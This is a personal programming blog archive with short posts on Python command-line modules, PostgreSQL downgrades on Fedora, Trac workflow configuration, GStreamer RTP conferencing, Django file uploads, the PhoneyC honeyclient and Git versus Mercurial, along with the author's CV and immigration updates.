10000 loops, best of 3: 181 usec per loop

$ python -m timeit "map(lambda i: i ** 2, range(1000))"

1000 loops, best of 3: 278 usec per loop

Standard list comprehension wins! :-)

trace

This module allows trace the script execution and gather various statistics. As an example, I'll use the makepwd.py script. The --trace option trace all the Python commands executed during the script running:

$ python -m trace --trace makepwd.py

--- modulename: threading, funcname: settrace

threading.py(90): _trace_hook = func

--- modulename: trace, funcname:

(1): --- modulename: trace, funcname:

makepwd.py(2): """ Simple password generator """

makepwd.py(4): import random

--- modulename: random, funcname:

..... skipped ....

--- modulename: random, funcname: randrange

random.py(171): istart = int(start)

random.py(172): if istart != start:

random.py(174): if stop is default:

random.py(182): istop = int(stop)

random.py(183): if istop != stop:

random.py(185): width = istop - istart

random.py(186): if step == 1 and width > 0:

random.py(200): if width >= maxwidth:

random.py(202): return int(istart + int(self.random()*width))

makepwd.py(15): for __ in range(options.length)])

$GdEu3Xz

Of course, it is VERY verbose, but it can be useful for Python learning or debugging multithreaded application.

profile

This module allows to profile a script. It supports various sorting options. As an example, I'll use the same script:

$ python -m profile -s calls makepwd.py

&<^8i*i=

430 function calls in 0.000 CPU seconds

Ordered by: call count

ncalls tottime percall cumtime percall filename:lineno(function)

48 0.000 0.000 0.000 0.000 :0(endswith)

48 0.000 0.000 0.000 0.000 :0(startswith)

36 0.000 0.000 0.000 0.000 :0(append)

25 0.000 0.000 0.000 0.000 :0(setattr)

18 0.000 0.000 0.000 0.000 :0(get)

18 0.000 0.000 0.000 0.000 :0(find)

16 0.000 0.000 0.000 0.000 :0(stat)

16 0.000 0.000 0.000 0.000 genericpath.py:15(exists)

16 0.000 0.000 0.000 0.000 posixpath.py:59(join)

12 0.000 0.000 0.000 0.000 :0(replace)

11 0.000 0.000 0.000 0.000 :0(len)

8 0.000 0.000 0.000 0.000 :0(random)

8 0.000 0.000 0.000 0.000 random.py:160(randrange)

8 0.000 0.000 0.000 0.000 :0(chr)

smtpd

This module is useful for testing e-mail sending. It allows to run "dumb" SMTP server that receives the e-mails locally and displays them to the terminal, but does not actually send anything.

$ python -m smtpd -n -c DebuggingServer localhost:1025

This command will start a simple SMTP server listening on port 1025 of localhost. This server simply prints to standard output all e-mail headers and the e-mail body.

This brief post shows just a little part of the Python magic. Study, experiment, and let the Python force be with you!

Twitter account

2010-06-17T21:07:00.000-07:00

I've set up the twitter account, so you can follow me. I don't have much time to post full blog messages here, but there are many issues and thoughts which I can share via Twitter. And anyway Twitter is a good networking, communication and news tool, so everybody can gain benefits from it. Stay in touch!

Mini HOWTO: Upgrade PostgreSQL database in Fedora

2010-03-28T21:09:00.001-07:00

The main problem in upgrading PostgreSQL databases is downgrading to previous version of the RDBMS, especially if you accidentally updates the software but forget to make the database dump. I have faced the same problem and find it's not so easy task. So let me show my solution for this:

The problem: after OS upgrade I have PostgreSQL 8.4, and can't start it because the database format is incompatible and suited for PSQL 8.3 only.
Install required YUM-configuration for the version of PosgreSQL you want to install, for my case PostgreSQL 8.3. There is an excellent http://yum.pgrpms.org/ website, which provides required rpms:
$ sudo rpm -ivh http://yum.pgsqlrpms.org/reporpms/8.3/pgdg-fedora-8.3-7.noarch.rpm
Remove the current PostgreSQL installation. It requires few steps (there is no easy way to delete postgresql-libs because there are too many dependencies):
1. Get the list of postgresql packages:
  $ rpm -qa | grep postgresql
  postgresql-server-8.4.3-1.fc12.i686
  postgresql-8.4.3-1.fc12.i686
  postgresql-libs-8.4.3-1.fc12.i686
2. Remove these without checking dependencies:
  $ sudo rpm -ev --nodeps postgresql-server-8.4.3-1.fc12.i686 postgresql-8.4.3-1.fc12.i686 postgresql-libs-8.4.3-1.fc12.i686
Now install required packages:
$ sudo yum install postgresql-server.i386 postgresql-libs-8.3.10-1PGDG.fc12.i386 --disableplugin=protectbase
Start the server:
$ sudo /sbin/service postgresql start
Make dump:
$ sudo -u postgres pg_dumpall > /tmp/pg.dump
Stop the server:
$ sudo /sbin/service postgresql stop
Move the old installation out of the way:
$ sudo mv /var/lib/pgsql /var/lib/pgsql.old
Remove the server:
$ sudo yum remove postgresql-server.i386 postgresql-libs-8.3.10-1PGDG.fc12.i386 --disableplugin=protectbase
Install the current server:
$ sudo yum install postgresql-server
Initialize the new database:
$ sudo /sbin/service postgresql initdb
Start the current server:
$ sudo /sbin/service postgresql start
Restore database from the dump:
$ sudo -u postgres psql -d postgres -f /tmp/pg.dump

That's all - just few steps. Of course, it is not so easy, as might be, but it's much easier than compiling PostgreSQL from sources.

Using Python command line

2010-02-18T03:44:00.002-08:00

Recently I had a task to write a command file for Windows that run a simple Python commands via python –c command. The manual says that command may contain multiple statements separated by newlines. Unfortunately, Windows console doesn’t allow it (and Ctrl-T trick doesn’t help) so I had to find a workaround. The intuition and language reference helped me to find out that the simple statements can be separated by semicolons like in C/C++ (however, these languages allow to separate all the commands, not
the only simple ones).

Let me give an example. Imagine that accidentally I want to know the error message corresponding to the error code 9. Of course, I can read manuals and documentation, but there is a more simple way:

$ python -c "import os;print os.strerror(9)"
Bad file descriptor

But this "trick" works only with simple statements. It is not allowed to mix simple and compound statements, so the following command will not work: python -c "import os;for i in range(42):print i,os.strerror(i)". The only way to make it workable – put compound statement on the upper level (identical imports doesn't matter, the real import will be executed only once):

$ python -c "for i in range(43):import os;print i,os.strerror(i)"
0 No error
1 Operation not permitted
2 No such file or directory
3 No such process
4 Interrupted function call
5 Input/output error
6 No such device or address
7 Arg list too long
8 Exec format error
9 Bad file descriptor
10 No child processes
11 Resource temporarily unavailable
12 Not enough space
13 Permission denied
14 Bad address
15 Unknown error
16 Resource device
17 File exists
18 Improper link
19 No such device
20 Not a directory
21 Is a directory
22 Invalid argument
23 Too many open files in system
24 Too many open files
25 Inappropriate I/O control operation
26 Unknown error
27 File too large
28 No space left on device
29 Invalid seek
30 Read-only file system
31 Too many links
32 Broken pipe
33 Domain error
34 Result too large
35 Unknown error
36 Resource deadlock avoided
37 Unknown error
38 Filename too long
39 No locks available
40 Function not implemented
41 Directory not empty
42 Illegal byte sequence

Also I want to notice one more feature of Python command line – executing modules content. Python contains many useful modules and some of them are more useful than
someone can think – they can be executed. For example, SimpleHTTPServer allows you to share your current directory information and files via HTTP protocol:

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

I’ve gathered information about executable modules and want to share it with you:

Command	Functionality
python -m site	Print some useful information (sys.path, USER_BASE, USER_SITE)
python -m StringIO	Read information about the file (default: /etc/passwd)
python -m calendar	Show the console calendar
python -m zipfile	Zip/unzip analogue
python -m platform	Print the platform information
python -m mailcap	Show and execute MIME types handlers
python -m binhex	Convert the binary file to hex
python -m sgmllib	Parse the html file
python -m htmllib	Show the html file in the text mode
python -m webbrowser	Start the default web browser for the required URL
python -m urllib	Print the content of the remote site
python -m ftplib	Simple FTP client
python -m poplib	Print information about the remote mailbox
python -m smtpd	RFC 2821 SMTP proxy
python -m telnetlib	Simple telnet client
python -m SimpleHTTPServer	Simple HTTP server
python -m CGIHTTPServer	CGI-savvy HTTP server
python -m aifc	Print information about the .aiff file
python -m sndhdr	Print information about sound files
python -m locale	Print locale information
python -m shlex	Split the file to tokens
python -m pydoc	Python documentation tool
python -m doctest	Doctest runner
python -m unittest	Unittest runner
python -m pdb	Python debugger
python -m timeit	Tool for measuring execution time of small code snippets
python -m trace	Trace Python program or function execution
python -m code	Python interpreter emulator
python -m tokenize	Split the file to tokens with detailed information
python -m pyclbr	Describe Python module classes and methods
python -m compileall	Compile all .py files to .pyc (.pyo) files
python -m filecmp	Compare two directory
python -m gzip	Gzip/gunzip analogue
python -m base64	RFC 3548: Base16, Base32, Base64 data encoder
python -m quopri	Convert to/from quoted-printable transport encoding as per RFC 1521
python -m cProfile	Profile Python code via 'lsprof' profiler
python -m profile	Profile Python code
python -m uu	Implement UUencode and UUdecode functions
python -m dis	Disassemble of Python byte code into mnemonics
python -m formatter	Generic output formatter

Most useful modules will be described in my next article. Enjoy!

IELTS Results

2009-11-25T16:47:00.004-08:00

My results:

Listening: 7.5
Reading: 7.5
Writing: 6.5
Speaking: 6.5
Overall Band Score: 7.0

My wife's results:

Listening: 7.0
Reading: 7.0
Writing: 6.5
Speaking: 8.5
Overall Band Score: 7.5

Results are acceptable in despite of the problems with the equipment during the exam, and that it was boring and tedious, especially writing section.

Trac Ticket Workflow

2009-11-12T04:53:00.000-08:00

Trac is the wiki and issue tracking system that is the most used for my software development projects. Let me share few hints about its ticket workflow, especially about the statuses, the roles of the participants, and let me give an example of the workflow config. But if you are interested in other things like Trac plugins, source browser, customizing, etc, let me know.

All the information given below regards the workflow described at the end of the article. The original Trac workflow is missed vital features like the support for ticket verifying, or the required ticket statuses range, so I do not use it in my projects.

The description of the main statuses:

new - the ticket has been created;
in-progress - the developer has began to work with the ticket;
fixed - the ticket is fixed (the problem issued in the ticket is solved);
verified - the ticket is verified (tester or PM has verified that the ticket is fixed correctly);
closed - the ticket is closed (it's not required to care about the ticket more).

Testers/PM have to do either of these things:

add comments for the ticket (with some clarifications, explanations, etc);
return the ticket into the work (via "ticket need to be re-worked" option) if they see that the bug/problem have not been fixed correctly;
verify that the ticket is fixed correctly (via "mark as verified" option);
create a new ticket with suitable description.

If testers/PM return the ticket into the work, they should add some comments to help the developers understand that they has done incorrectly.

Developers have to do either of these things:

accept the ticket for fixing (in that ways others can see on which tickets the developer works on);
set a suitable status for the ticket (fixed if it has been fixed, invalid if there are some problems preventing from the ticket been fixed, etc);
reassign ticket to other participants (for example, to other developer who is responsible for the problem issued in the ticket).

There can be other roles and actions, but it is not strict, and can vary in different cases. You can create your own workflow, which can be more suitable for your company or for the way you prefer to work.

In conclusion, let me give an example of the Trac ticket workflow (it should be specified in the trac.ini file):

[ticket-workflow]
accept = new -> in-progress
accept.name = accept ticket
accept.operations = set_owner_to_self
accept.permissions = TICKET_MODIFY
leave = * -> *
leave.default = 1
leave.operations = leave_status
reassign = new, in-progress -> new
reassign.operations = set_owner
reassign.permissions = TICKET_MODIFY
reopen = closed -> new
reopen.operations = del_resolution
reopen.permissions = TICKET_CREATE
resolve1 = fixed, verified -> closed
resolve1.name = resolve
resolve1.operations = set_resolution
resolve1.permissions = TICKET_MODIFY
resolve1.set_resolution = Done, Invalid, Duplicate
resolve2 = new -> closed
resolve2.name = resolve
resolve2.operations = set_resolution
resolve2.permissions = TICKET_MODIFY
resolve2.set_resolution = Invalid, Duplicate, WontFix
resolve3 = in-progress -> closed
resolve3.name = resolve
resolve3.operations = set_resolution
resolve3.permissions = TICKET_MODIFY
resolve3.set_resolution = WorksForMe, Invalid, Duplicate, WontFix
setfixed = in-progress -> fixed
setfixed.name = mark as fixed
setfixed.permissions = TICKET_MODIFY
setinprogress = verified, fixed -> in-progress
setinprogress.name = ticket need to be re-worked
setinprogress.permissions = TICKET_MODIFY
setverified = fixed -> verified
setverified.name = mark as verified
setverified.permissions = TICKET_MODIFY

Curriculum Vitae

2009-11-09T03:28:00.013-08:00

Alexander Slesarev
Burnaby, BC, Canada

CONTACTS:

phone: +1-604-716-5085
email: alex.slesarev@gmail.com
website: http://nuald.blogspot.com

EXPERIENCE:

Elena Engineering
2004 - 2010
Project Manager:

Plan, organize and control the operations of the company
Develop and implement procedures for computer systems operations and development
Meet with clients to discuss system requirements, specifications and timelines
Assemble and manage teams of personnel to design, develop and implement computer software like:

websites and internet services;
devices management software;
telecommunication software (videoconferences, IP-telephony, certain devices management)

Recruit and supervise programmers and oversee their professional development and training.

Informatization Administration of the Khabarovsk State Technical University
1999 - 2002
Engineer:

Write, modify and integrate software code (electronic workflow system).
Maintain existing computer programs by making modifications as required
Identify and communicate technical problems, processes and solutions
Prepare reports, manuals and other documentation on the status, operation and maintenance of software
Assist in the collection and documentation of user's requirements
Assist in the development of logical and physical specifications

Khabarovsk State Technical University
1998 - 1999
Laboratory Assistant:

Identify and communicate technical problems, processes and solutions

TECHNICAL SKILLS:

Programming Languages: C/C++, Java, Python, JavaScript, Perl, Ruby, Delphi, Visual Basic, C#, Assembler.

Technologies: networking (TCP/IP, UDP, RTP, SNMP etc), multithreading, interprocessing (RPC like DCOM, CORBA, XML-RPC, webservices) and others.

Databases: PostgreSQL, MySQL, MS SQL, Oracle, Firebird, Lotus Domino (not RDBMS).

Developer Software: Eclipse, Lotus Notes/Domino, Visual Studio 6-2010, NetBeans.

Operation Systems: Windows (3.11 - 7), MacOSX, Linux (RedHat, SUSE, Fedora, Ubuntu, Mandriva), Solaris (SunOS).

Moving to Canada

2009-10-16T20:44:00.000-07:00

I'm going to immigrate to Canada, and the first step is complete – I have received a reference number from the FSW Centralized Intake Office. I had applied as Computer and Information Systems Manager due to my job position now (Project Manager) which I hold more than 5 years.

The next challenge is an IELTS exam that I have to pass in the next few weeks.

Seven Ws (composing brief software requirements)

2009-10-08T19:06:00.003-07:00

Quis, quid, quando, ubi, cur, quem ad modum, quibus adminiculis.
(Who, what, when, where, why, in what way, by what means)
Hermagoras of Temnos

Quotation above is created by Hermagoras for defining seven "circumstances" as a way of the formulating or analyzing rhetorical questions. But it is useful for many other areas, like for composing brief software requirements. Sometimes it's essential for us to analyze the perspective project as fast as possible, without creating tremendous SRS, but merely ask few questions and begin to work. Especially, it relates to Agile Development, and can be easily used as a reference point for starting a project.

Let us interpret these questions to ones of the sample meanings:

Who will use that project?
What kind of software does the project represent?
When should the project be delivered to the end users?
Where is the project intended to be used?
Why would the project be successful?
In what way is the project supposed to work?
By what means will the project be created?

And let us briefly review how it works in practice for the Thunderbird Grammar Checker project as an example.

Who? Peoples who care about their writing style, like businessmen and businesswomen, who write many email messages, and sometimes miss simple grammar errors because of rush.
What? It's a plugin for Thunderbird.
When? As soon as possible, but the delivery time is not so important due to lack of the commercial profit.
Where? On all major platforms: Linux, MacOSX, Windows.
Why? There are no competitive solutions. MS Outlook can be considered, but it lacks certain features like Linux/MacOSX support, OpenPGP compatibility, etc.
In what way? Using LanguageTool webserver (at least, for the first releases). In future releases LanguageTool engine can be ported to C++ or JavaScript, thus can be directly used by the project.
By what means? XUL/JavaScript like all other plugins are created.

So this can be a start. If you or your client answer these questions, you'll have certain image of the project. Further, this starting point will help you to create required SRS (and these question can be a basis for it). Good luck!

Thunderbird Grammar Checker extension

2009-10-07T03:25:00.006-07:00

I have published Thunderbird Grammar Checker extension: https://addons.mozilla.org/thunderbird/addon/14781

Back-end functionality is based on LanguageTool facilities (in particular, the extension uses its webserver). Though it can work without any further customization, it is strongly recommended to setup local LT server (see below), and change the extension settings to correspond with your server. By default, the extension uses the small-scale server, which can't handle enormous load (and of course, it is not so suitable from privacy point of view).

The grammar checking is available via Tools menu, context menu and toolbar button. Please notice that toolbar button does not appear in the Compose Message window automatically, but must be dragged to toolbar area from Customize Toolbar dialog (View->Toolbars->Customize...)

Language and server settings can be tuned via the extension preferences:

Supported languages: English (en), Dutch (nl), French (fr), German (de), Icelandic (is), Italian (it), Lithuanian (lt), Polish (pl), Romanian (ro), Russian (ru), Slovak (sk), Slovenian (sl), Spanish (es), Swedish (sv), Ukrainian (uk).

Setting up local LT server

The simplest way to start the server is using Java Web Start (requires Java 6.0 or later). You can download and start the GUI LanguageTool that works in the server mode via browser:
http://languagetool.org/webstart/web/LanguageTool.jnlp.

Or you can start the application from the command line:

$ javaws http://www.languagetool.org/webstart/web/LanguageTool.jnlp

After that the downloading dialog will appear:

As soon as everything is downloaded (it takes about 13 Mb to download), you'll be asked for security confirmation:

Run the application:

Now go to File->Option and select "Run as server":

Although port field is tiny, you can enter desired value (8081 by default).
That's all. Now you can minimize the application to the tray, and use its internal webserver. To set up required server settings, use the extension preferences dialog.

Scope of work

This is an initial release, and of course there is a lot of work to do. Main areas:

Interface Improvements

Architecture

Make the extension independent from LT server

Settings Issues

Add validation for options

Localization

Add localization for required languages

You can join the development: Thunderbird Grammar Checker on SourceForge.net
Just send me patches, and if they are adequate, I'll give you required access level.

Why not MS Outlook

There are various reasons why I can't or don't want to use MS Outlook, but the main one – it doesn't have OpenPGP support which I have to use for my business correspondence. Nor Gpg4Win, neither PGP Desktop don't work with GPG as well as required. I tried out many solutions, but decided in favor of writing my own extension for my favorite MUA. I hope you'll enjoy this extension either.

New articles

2009-10-05T20:02:00.000-07:00

I have published several articles on eellc.ru website. I hope you'll find them useful and interesting:

The website doesn't allow to post comments, so you can leave your remarks, suggestions and complaints here. Enjoy!

Mini HOWTO: Create a PDF document from multiple images

2009-07-27T17:48:00.005-07:00

Sometimes it is required to send someone multiple images. Of course, you can send these images as they are, or you can create and send an archive of these images. But it will be more convenient to send a PDF document. In that case the recipient can easily open the document and he/she will see these images in the sequence you assumed.

There is a powerful software suite called ImageMagick. It provides various utilities for any graphics processing demands. Now we are interested in a convert utility. It has many useful features and it is really irreplaceable for the image batch-processing like in our case.

The command for converting images is pretty simple:

$ convert -define pdf:use-cropbox=true -density 72x72 -resample 72x72 -compress JPEG *.png result.pdf

The convert utility takes all PNG-images in the current directory and creates a PDF-document from it.

You can modify any options as you want. Let's have a look at some of them:

density and resample - these options are required for changing images resolution. Usually we scan images in a high resolution (for example, 600 dpi), and this resolution is suitable for the further image editing. But it is too high for the simple viewing. So it will be good to decrease the images resolution. At least, it will make a produced PDF document lightweight.
compress - this option is required for compressing images. There are various compression options and JPEG option is suitable for the most cases.

You can play with other options and find the most suitable for you. ImageMagick is a your magic wand to do anything with the images, so do not miss it.

My FOSS projects

2009-07-01T19:13:00.004-07:00

Updated list of the projects I'm working on:

Mail Dispatcher (role: admin, platform: Python/PyGTK) - A tool for dispatching (basically, deleting) email messages on POP3 server via Plain or SSL connection with advanced filtering capabilities.
DHCP Explorer (role: admin, platform: Python) - A console cross-platform tool for locating all available DHCP servers.
sdict2db (role: admin, platform: C#/WinForms) - Parser for SDict-based format dictionaries with ability to save in a SQL server (with creating table, index and filling data) and in a text file (SDict text format).
DNN Dictionary (role: admin, platform: C#/DotNetNuke) - A DotNetNuke module for translating texts using SDict-based (http://sdict.ru/en/) dictionaries. It works using AJAX mechanism so there is no pages reloading during translating.
Geek Workspace (role: admin, platform: Python/PyQt4) - Geek Workspace is a desktop environment aimed for developers, scientists, engineers and students. The key point is a programmed control over all elements of the environment, including modifying it in a runtime.
QTermWidget (role: PyQt4-binding developer, platform: C++/Qt4) - Terminal emulation widget based on KDE4 Konsole, rewritten entirely with QT4.
CodeExample (role: admin, platform: Python/Trac) - The Trac plugin for code examples colouring. It support three types of examples - a simple, a correct and an incorrect.

Although I'm not working with these project very often, I provide maintenance for them, and have certain plans, like:

Move to Git as DVCS.
Update the code for compatibility with newer platforms and programming languages.
Add required unit-tests (ideally I want to provide full code coverage).
Add required documentation, examples and web pages.

Creating video conference application with GStreamer

2009-07-01T03:18:00.007-07:00

GStreamer is a library for constructing graphs of media-handling components. The applications it supports range from simple Ogg/Vorbis playback, audio/video streaming to complex audio (mixing) and video (non-linear editing) processing. GStreamer is released under the LGPL, so it can be used in commercial applications.

The power of GStreamer is in its module infrastructure - you're working with certain "blocks", combine it with "pipes" and got results without any coding (via gst-launch utility). Of course, after playing with gst-launch you can write an application in any language you prefer (GStreamer supports various bindings and due to fact that GStreamer is written in C, I do not see any problems to bind it with an application that is developed in any serious programming language).

I do not want to explain GStream basics, but move forward to the blog topic - creating videoconference application. If you want certain tutorial, please take a look to the Python GStreamer Tutorial by Jens Persson.

Actually, the videoconference application is already written. Of course, it doesn't have any UI, but instead it have all required functionality. You can find it at gstreamer gst-plugins-good RTP examples: server-v4l2-H264-alsasrc-PCMA.sh and client-H264-PCMA.sh. Please notice that the server script broadcast traffic via RTP-protocol, so such conference will not work via plain Internet connection, but only in LAN/VLAN. These scripts require x264enc element, that is provided by gstreamer0.10-plugins-bad-multiverse package in Ubuntu:

$ apt-get install gstreamer0.10-plugins-bad-multiverse

To play with these scripts locally it will be nice to clone the required Git repo and works in your own branches:

$ git clone git://anongit.freedesktop.org/git/gstreamer/gst-plugins-good

Create your own branch and modify sources as you want. For example:

$ cd gst-plugins-good
$ git checkout -b "tests"

You can apply a patch below to make these scripts works locally without any webcams:

diff --git a/tests/examples/rtp/client-H264-PCMA.sh b/tests/examples/rtp/client-H264-PCMA.sh
index ef5e2df..c6aea6d 100755
--- a/tests/examples/rtp/client-H264-PCMA.sh
+++ b/tests/examples/rtp/client-H264-PCMA.sh
@@ -47,7 +47,7 @@ LATENCY=200
 VIDEO_CAPS="application/x-rtp,media=(string)video,clock-rate=(int)90000,encoding-name=(string)H264"
 AUDIO_CAPS="application/x-rtp,media=(string)audio,clock-rate=(int)8000,encoding-name=(string)PCMA"
 
-gst-launch -v gstrtpbin name=rtpbin latency=$LATENCY                                  \
+gst-launch-0.10 -v gstrtpbin name=rtpbin latency=$LATENCY                                  \
      udpsrc caps=$VIDEO_CAPS port=5000 ! rtpbin.recv_rtp_sink_0                       \
        rtpbin. ! rtph264depay ! ffdec_h264 ! xvimagesink                              \
      udpsrc port=5001 ! rtpbin.recv_rtcp_sink_0                                       \
diff --git a/tests/examples/rtp/server-v4l2-H264-alsasrc-PCMA.sh b/tests/examples/rtp/server-v4l2-H264-alsasrc-PCMA.sh
index d42b512..7fe3259 100755
--- a/tests/examples/rtp/server-v4l2-H264-alsasrc-PCMA.sh
+++ b/tests/examples/rtp/server-v4l2-H264-alsasrc-PCMA.sh
@@ -47,8 +47,8 @@ VOFFSET=0
 AOFFSET=0
 
 # H264 encode from the source
-VELEM="v4l2src"
-#VELEM="videotestsrc is-live=1"
+#VELEM="v4l2src"
+VELEM="videotestsrc is-live=1"
 VCAPS="video/x-raw-yuv,width=352,height=288,framerate=15/1"
 VSOURCE="$VELEM ! $VCAPS ! queue ! videorate ! ffmpegcolorspace"
 VENC="x264enc byte-stream=true bitrate=300 ! rtph264pay"
@@ -58,8 +58,8 @@ VRTCPSINK="udpsink port=5001 host=$DEST sync=false async=false name=vrtcpsink"
 VRTCPSRC="udpsrc port=5005 name=vrtpsrc"
 
 # PCMA encode from the source
-AELEM="alsasrc"
-#AELEM="audiotestsrc is-live=1"
+#AELEM="alsasrc"
+AELEM="audiotestsrc is-live=1"
 ASOURCE="$AELEM ! queue ! audioresample ! audioconvert"
 AENC="alawenc ! rtppcmapay"
 
@@ -67,7 +67,7 @@ ARTPSINK="udpsink port=5002 host=$DEST ts-offset=$AOFFSET name=artpsink"
 ARTCPSINK="udpsink port=5003 host=$DEST sync=false async=false name=artcpsink"
 ARTCPSRC="udpsrc port=5007 name=artpsrc"
 
-gst-launch -v gstrtpbin name=rtpbin \
+gst-launch-0.10 -v gstrtpbin name=rtpbin \
     $VSOURCE ! $VENC ! rtpbin.send_rtp_sink_0                                             \
         rtpbin.send_rtp_src_0 ! $VRTPSINK                                                 \
         rtpbin.send_rtcp_src_0 ! $VRTCPSINK                                               \

As you can see, I just changed AELEM and VELEM in the server script, and fixed a gst-launch utility name. After that you can start a server:

$ cd tests/examples/rtp
$ ./server-v4l2-H264-alsasrc-PCMA.sh

And in another terminal - a client:

$ ./client-H264-PCMA.sh

That's all! You will see a picture and hear a certain noise:
Now you can change VELEM and AELEM to required sources (including your own) and embed GStream graph to your application. Good luck!

UPDATE: In new versions of Ubuntu the x264enc gstreamer element has been moved to another package: gstreamer0.10-plugins-ugly-multiverse

Mini HOWTO: Programmatically upload a file in Django

2009-06-25T22:09:00.003-07:00

Surprisely, there is no any good advice in the Internet how to programmatically upload a file to the FileField field in the Django. I want to cover this issue with the sample that shows how to upload a generic file from the Internet to a Django application. The code is simple:

import urllib, mimetypes, os
from django.core.files.base import ContentFile
#...
filename, msg = urllib.urlretrieve(img)
ext = mimetypes.guess_extension(msg.type)
name, original_ext = os.path.splitext(filename)
new_filename = filename
if ext != original_ext:
     new_filename += ext
obj.file.save(new_filename, ContentFile(open(filename).read()))

First of all, we retrieves a file. urlretrieve returns a tuple <filename, msg>. filename is a name of a temporary file with the downloaded content. msg is a HTTPMessage class instance that contains headers of the file.

We use msg to determinate the type of the file. For this guess_extension method is used. It is required for the case when the file is generated automatically on the server side (for that case the file will be downloaded without any extension).

After that we compares extensions and generates required new_filename. I want to notice that although a file can be downloaded with the some extension, this extension can be wrong, and only MIME type of the file is a right way to determinate the file's content.

And last step is storing the file in the Django model instance (in our case - obj.file field). Please notice that ContentFile class is used for storing the file - Django requires a chunked file to be uploaded to the FileField field. ContentFile creates a chunked file from the bytes received in the constructor.

Though you can use just certain OS operations to generate a filename and save a file in the required MEDIA_ROOT directory, it is not an easy way (especially if a file field has a non-trivial upload_to attribute value like some lambda). And this is the only way to save a file in a custom file storage.

PhoneyC honeyclient

2009-06-19T02:20:00.003-07:00

Overview

Let me introduce PhoneyC - pure Python honeyclient implementation.

It is a perspective project and it has a huge potential. All features and advantages are described in a corresponding article. Briefly, PhoneyC is a low interaction, virtual honeyclient that emulates the core functionality of a web client and emulates specific vulnerabilities to pinpoint the attack vector.

It consists of two core components - a simple web crawler (honeywalk.py) and an analysis engine (honeyclient.py) with all required auxiliary modules. Further I'll describe installation and usage procedures.

Installation

As a sample platform I'm using Ubuntu 9.04 Jaunty Jackalope for x84-64 processor. Following the README instructions we have to install python 2.3 and upper, clamav, spidermonkey, vb2py and curl (it is not mentioned in the README file, but it is used internally by the analysis engine):

$ sudo apt-get install clamav spidermonkey-bin

Python is already installed in the system by default. vb2py functionality is not using right now in the project trunk, but I hope that it will be fixed in the near future.

Also symlinks should be created (now all paths are hardcoded in the project). And for correct ClamAV scanning a 'clamd' directory should be created in '/tmp'.

$ sudo mkdir -p /usr/local/bin
$ sudo ln -s /usr/bin/smjs /usr/local/bin/js
$ sudo ln -s /usr/bin/clamscan /usr/local/bin/clamdscan
$ mkdir /tmp/clamd

And of course the project should be checked out:

svn co http://phoneyc.googlecode.com/svn/phoneyc/trunk phoneyc

That is all! I think in near future the process of installation will be reduced and egg-file will be created. But the project is in the heavy development now and there are other features that should be implemented first.

Usage

It is difficult to find a sites in a wild that will be recognized by PhoneyC now. Although it has a good database with vulnerabilities, these vulnerabilities is not using so often now. But I hope that in the future the database will be actual enough for finding infected sites in a wild (actually, it is a one of the goals of the project). So for now let just use a tests that are provided with the project.

All tests are located in the 'tests' directory. First of all, test a HTML-file via file://-locator:

nuald@nuald-laptop:~/workspace/phoneyc/trunk$ python honeywalk.py file://`pwd`/tests/toshiba.html
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: the md5 module is deprecated; use hashlib instead
  import md5, popen2, os, re, sets
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: The popen2 module is deprecated.  Use the subprocess module.
  import md5, popen2, os, re, sets
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: the sets module is deprecated
  import md5, popen2, os, re, sets
HoneyWalk started at Fri Jun 19 09:11:23 2009 UTC
===> file:///home/nuald/workspace/phoneyc/trunk/tests/toshiba.html  []
('Toshiba Surveillance oveflow in SetPort()\n', '', 'bf17c0466b197fd26f9203cae6ea2523') {'ClamAV': ('dde847a073d02b06644d6602fc224810', 'OK')}

Please notice that the honeywalk.py script requires a full URI to the file (that's why I used `pwd` command). And ignore deprecation warnings - Ubuntu is shipped with the Python 2.6 and PhoneyC project is not ported to it yet.

Now let's check a web site. Run a simple site with SimpleHTTPServer module:

nuald@nuald-laptop:~/workspace/phoneyc/trunk$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

And check a HTML page via HTTP:

nuald@nuald-laptop:~/workspace/phoneyc/trunk$ python honeywalk.py http://localhost:8000/tests/xupload.html
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: the md5 module is deprecated; use hashlib instead
  import md5, popen2, os, re, sets
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: The popen2 module is deprecated.  Use the subprocess module.
  import md5, popen2, os, re, sets
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: the sets module is deprecated
  import md5, popen2, os, re, sets
HoneyWalk started at Fri Jun 19 09:18:06 2009 UTC
===> http://localhost:8000/tests/xupload.html  []
('XUpload overflow in AddFolder()\n', '', '1d53a3556ec686912fa58bf97d3be7b5') {'ClamAV': ('a1877275c721080a3bb49fbca9282e3e', 'OK')}

That's all for now. I hope that the project will be growning and gain a much popularity.

Git vs Mercurial

2009-06-17T03:41:00.006-07:00

Due to latest changes in projects hosting situation (like FTC Sues, Shuts Down N. Calif. Web Hosting Firm, Adobe acts against Flash video stream recorder) I started thinking about moving on to some DVCS system. Now there are only two serious alternatives: Git and Mercurial.

First of all, here are two good articles where these systems are compared:

In both of these articles Mercurial wins due to:

lack of good Git support in Windows system;
having Python API.

But also in both of these articles it is said that Git has more features and is more powerful than Mercurial. Actually none of the issues above does not concern me personally because I'm not developing in Windows OS now, and I do not require any integration with DVCS.

But let me notice that these issues are not so critical right now:

there is an awesome TortoiseGit project and it works really good;
basically only certain hooks are required for integration with SCM-software and Git has all required functionality for this, and of course hook scripts can be written in any language including Python.

But there is an issue that I really care about - I do not like the "branch" system that Mercurial provides. The new "branch" in Mercurial terminology is a physical clone of the other "branch". Although cloning uses hard links for creating copies it doesn't deny the fact that my file system will be crowded with copies of the same files. Maybe for someone it is good, but not for me - I do not like too much garbage in my computer.

And please do not forget about C++-programmers. They create a branch and have to compile this branch from scratch in Mercurial case. Though they can create a shared directory for object files, in some situations it is not acceptable.

So now it is more preferable for me to use Git. I'm not an expert in both systems, but in my case Git is more suitable for my needs.

Geek Desktop Solution project

2009-04-27T21:36:00.004-07:00

